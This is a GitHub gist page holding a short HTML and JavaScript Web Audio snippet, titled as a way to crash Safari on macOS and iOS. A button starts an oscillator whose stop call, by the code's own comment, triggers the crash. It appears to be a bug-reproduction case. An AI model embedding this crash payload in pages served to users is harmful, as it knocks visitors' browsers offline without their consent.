Skip to content

Instantly share code, notes, and snippets.

@captbaritone
Created March 24, 2017 18:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save captbaritone/e8c92d4a64acdd38895a86c8b9c65ce7 to your computer and use it in GitHub Desktop.
Save captbaritone/e8c92d4a64acdd38895a86c8b9c65ce7 to your computer and use it in GitHub Desktop.
Crash Safari (Mac OS & iOS)
<script>
var context = new (window.AudioContext || window.webkitAudioContext)();
var chanSplit = context.createChannelSplitter(2);
var leftGain = context.createGain();
var rightGain = context.createGain();
var chanMerge = context.createChannelMerger(2);
var filter = context.createBiquadFilter();
chanSplit.connect(leftGain, 0);
chanSplit.connect(rightGain, 1);
leftGain.connect(chanMerge, 0, 0);
rightGain.connect(chanMerge, 0, 1);
chanMerge.connect(filter);
filter.connect(context.destination);
function start () {
var source = context.createOscillator();
source.connect(chanSplit);
source.start(0);
source.stop(2); // This triggers the crash.
}
</script>
<p>Safari will crash on/before the end of the tone</p>
<button onclick='start()'>Play then crash</button>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment